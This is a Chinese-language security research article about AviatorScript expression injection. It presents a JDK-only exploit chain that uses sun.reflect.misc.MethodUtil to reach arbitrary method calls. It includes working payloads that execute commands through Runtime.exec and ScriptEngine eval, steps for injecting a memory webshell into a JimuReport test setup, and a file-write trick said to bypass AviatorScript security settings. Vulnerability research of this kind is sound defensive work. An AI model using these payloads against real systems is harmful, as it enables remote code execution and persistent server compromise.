打破静态方法限制:AviatorScript 中基于 MethodUtil 的 JDK 原生利用链
一、背景介绍
AviatorScript 是一门寄生在 JVM(Hosted on the JVM)上的表达式语言,常用于规则计算、条件判断等场景。由于其执行环境与 Java 运行时深度绑定,一旦表达式内容可被外部控制,就可能引入严重的安全风险。
在 Jeecg-Boot 等项目中,历史上曾出现过 AviatorScript 相关漏洞。围绕这些漏洞,社区中也公开了多种利用 PoC。本文将首先分析这些历史 PoC 的利用方式及其局限性,随后引出一种仅依赖 JDK 的新利用思路。
二、历史 PoC 利用方式分析
2.1 基于 Spring 生态的利用方式
目前网络上公开的 AviatorScript PoC,大多依赖 Spring 相关组件,其典型特征包括:
- 使用
org.springframework.util.ClassUtils获取默认 ClassLoader - 使用
org.springframework.util.Base64Utils解码字节码 - 使用
org.springframework.cglib.core.ReflectUtils.defineClass动态定义类
这类 PoC 的核心思路是:
在 AviatorScript 表达式中动态注入并加载恶意字节码,从而触发类初始化逻辑。
2.2 BCEL 相关利用方式
另一类历史 PoC 依赖 JVM 内部的 BCEL 机制,例如:
com.sun.org.apache.bcel.internal.util.ClassLoader
通过将字节码编码进类名,实现“类名即字节码”的效果。
这种方式在早期 JDK 中较为流行,但存在以下问题:
- 对 JDK 版本要求苛刻
- 在高版本 JDK 中逐渐失效
2.3 历史 PoC 的局限性总结
综合来看,历史 PoC 普遍存在以下局限:
- 强依赖 Spring 或特定框架
- 对组件版本和 JDK 版本敏感
三、AviatorScript 的表达式调用能力
根据官方文档说明,AviatorScript 的表达式调用规则主要包括:
- 使用
new关键字实例化 Java 对象 - 自 5.2.1 版本起,支持使用
Class.Method(args)语法直接调用 Java 的public static方法
文档位置: https://www.yuque.com/boyan-avfmj/aviatorscript/
这些特性决定了 AviatorScript 天然具备与 JVM 深度交互的能力。
四、新的利用思路:仅依赖 JDK 的攻击面
AviatorScript 可以直接调用 Java 的 public static 方法。在这一特性基础上,如果能够找到 JDK 中合适的工具类,就可以进一步扩展表达式语言本身的能力边界。
通过在 JDK 中检索相关类,可以发现 sun.reflect.misc.MethodUtil 这一工具类。该类中提供了大量与反射相关的 public static 方法,其中 invoke 方法尤为关键。

MethodUtil.invoke 方法概述
MethodUtil.invoke 的核心作用是对反射调用进行封装,其逻辑上需要三个参数:
Method—— 目标方法的反射对象Object—— 目标方法所属的实例对象Object[]—— 方法调用时使用的参数数组
只要能够在 AviatorScript 表达式中成功构造这三个参数,就可以通过 MethodUtil.invoke 间接调用任意实例方法。
Method 参数的构造方式
在 sun.reflect.misc.MethodUtil 中,除了 invoke 方法外,还提供了用于获取 Method 对象的辅助方法,例如 getMethod。

getMethod 的作用是:
- 指定目标类(
Class对象) - 指定方法名称
- 指定方法参数类型列表
即可返回对应的 Method 实例。
由于 AviatorScript 本身支持:
Class.forName获取类对象- 基本类型与数组的构造
- 对
public static方法的直接调用
因此,在表达式执行阶段,Method 对象本身是可以被完整构造出来的。
目标对象(Object 参数)的来源
invoke 的第二个参数用于指定反射调用的目标对象实例。
在 Java 中,只要能够获取到目标类的实例,即可调用其对应的实例方法。
在 AviatorScript 环境下,实例对象的来源通常包括:
- 已存在的单例对象
- 通过静态工厂方法获取的实例
- 通过
new关键字创建的对象
这使得 MethodUtil.invoke 在表达式语言中具备了较高的灵活性。
参数数组(Object[])的构造
第三个参数为方法调用时使用的参数数组。
AviatorScript 提供了 tuple / array 等基础构造能力,可以将单个或多个参数封装为对象数组,从而满足反射调用对参数形式的要求。


至此,MethodUtil.invoke 所需的三个参数:
Method- 目标对象
- 参数数组
均可以在表达式层面完成构造。
利用思路的关键点总结
从整体利用思路来看,其核心不在于某一个具体 API,而在于以下几点:
- AviatorScript 允许调用 JDK 的
public static方法 MethodUtil对反射调用进行了统一封装- 反射调用本身可以突破“只能调用静态方法”的限制
- 整个过程不依赖任何第三方框架
这意味着,即使在不存在 Spring、BCEL 等组件的环境中,只要表达式执行上下文未对 JDK 内部工具类进行限制,仍然可能存在可被利用的攻击面。
基于以上分析我们可以构造出以下POC
use sun.reflect.misc.MethodUtil;
MethodUtil.invoke(MethodUtil.getMethod(Class.forName("java.lang.Runtime"),"exec",seq.array(java.lang.Class,Class.forName("java.lang.String"))),Runtime.getRuntime(),tuple('open /System/Applications/Calculator.app'))

小结
通过 sun.reflect.misc.MethodUtil,可以将 AviatorScript 的能力从:
仅能调用 Java 的
public static方法
进一步扩展为:
在表达式执行阶段,间接调用任意实例方法,例如直接通过调用
ScriptEngineManager执行JS代码,达到注入内存马等操作。
use javax.script.ScriptEngineManager;
use sun.reflect.misc.MethodUtil;
MethodUtil.invoke(MethodUtil.getMethod(Class.forName("javax.script.ScriptEngine"),"eval",seq.array(java.lang.Class,Class.forName("java.lang.String"))),MethodUtil.invoke(MethodUtil.getMethod(Class.forName("javax.script.ScriptEngineManager"),"getEngineByExtension",seq.array(java.lang.Class,Class.forName("java.lang.String"))),new ScriptEngineManager(),tuple("js")),tuple("java.lang.Runtime.getRuntime().exec(\\"open /System/Applications/Calculator.app\\");"));

五、实战
在本地搭建积木报表环境进行测试和验证,具体步骤如下:
生成 JS 类加载器

编码与拼接
- 将生成的 JS 代码进行 Base64 编码。
- 按照 POC(概念验证)示例,将编码后的内容拼接成完整 payload。

发送 payload 与连接内存马
- 通过 HTTP 请求将拼接好的 payload 发往测试环境。
- 如果 payload 执行成功,可以在内存中看到远程加载的类,进一步连接内存马进行控制或交互。

六、意外收获
在翻阅AviatorScript文档时,发现AviatorScript提供了一个简单的文件 IO 模块实现,可以直接 require('io') 进来使用。从来达到不引入java层面类进行写入文件操作。使用这种方式写入文件在一定情况下可以绕过AviatorScript的一些安全配置。

let io = require('io');
let file = io.file("/tmp/aviator\_test.jsp");
io.spit(file, "Hello world\\r\\nAviator is great!");
